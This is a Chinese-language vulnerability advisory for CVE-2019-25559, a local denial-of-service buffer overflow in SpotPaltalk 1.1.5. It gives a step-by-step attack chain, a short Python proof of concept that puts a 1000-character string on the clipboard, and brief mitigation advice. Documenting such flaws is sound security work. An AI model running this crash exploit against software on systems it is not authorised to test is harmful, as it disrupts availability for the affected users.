IPBUF安全漏洞报告
English
CVE-2019-25559 CVSS 5.5 中危

CVE-2019-25559 SpotPaltalk拒绝服务漏洞

披露日期: 2026-03-21

漏洞信息

漏洞编号
CVE-2019-25559
漏洞类型
缓冲区溢出
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
SpotPaltalk

相关标签

拒绝服务缓冲区溢出SpotPaltalk本地漏洞

漏洞概述

SpotPaltalk 1.1.5在注册代码输入字段中存在拒绝服务漏洞。由于缺乏对输入长度的限制,本地攻击者可向Name/Key字段粘贴约1000字符的字符串并点击OK,导致应用程序崩溃。

技术细节

该漏洞源于SpotPaltalk 1.1.5在注册界面处理用户输入时,未对“Name/Key”字段进行有效的长度边界检查。本地攻击者利用此缺陷,构造一段包含约1000个字符的恶意字符串。当攻击者将该字符串粘贴至输入框并点击“OK”按钮触发提交逻辑时,程序因无法处理过长的缓冲区数据而发生栈溢出或内存破坏。这导致应用程序进程异常终止,造成拒绝服务。此漏洞属于本地攻击,需要用户交互才能触发,但对系统可用性影响较高。

攻击链分析

STEP 1
1. 信息收集
确认目标主机上安装并运行了SpotPaltalk 1.1.5版本。
STEP 2
2. 构造Payload
创建一个包含1000个字符的字符串(例如'A' * 1000)。
STEP 3
3. 执行攻击
在目标应用程序的注册界面,将Payload粘贴到Name/Key输入字段中。
STEP 4
4. 触发漏洞
点击OK按钮提交数据,触发缓冲区溢出。
STEP 5
5. 完成攻击
应用程序异常崩溃,实现拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import pyperclip import time # Generate a buffer of 1000 characters buffer = 'A' * 1000 # Copy the payload to clipboard pyperclip.copy(buffer) print('Payload of 1000 characters copied to clipboard.') print('Please navigate to the SpotPaltalk registration Name/Key field, paste the buffer, and click OK.') # Optional: Attempt to paste automatically if window is focused # import pyautogui # time.sleep(5) # pyautogui.hotkey('ctrl', 'v') # pyautogui.press('enter')

影响范围

SpotPaltalk 1.1.5

防御指南

临时缓解措施
在未获得官方补丁前,建议限制对应用程序的本地访问权限,并教育用户不要在输入框中粘贴来源不明的长文本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表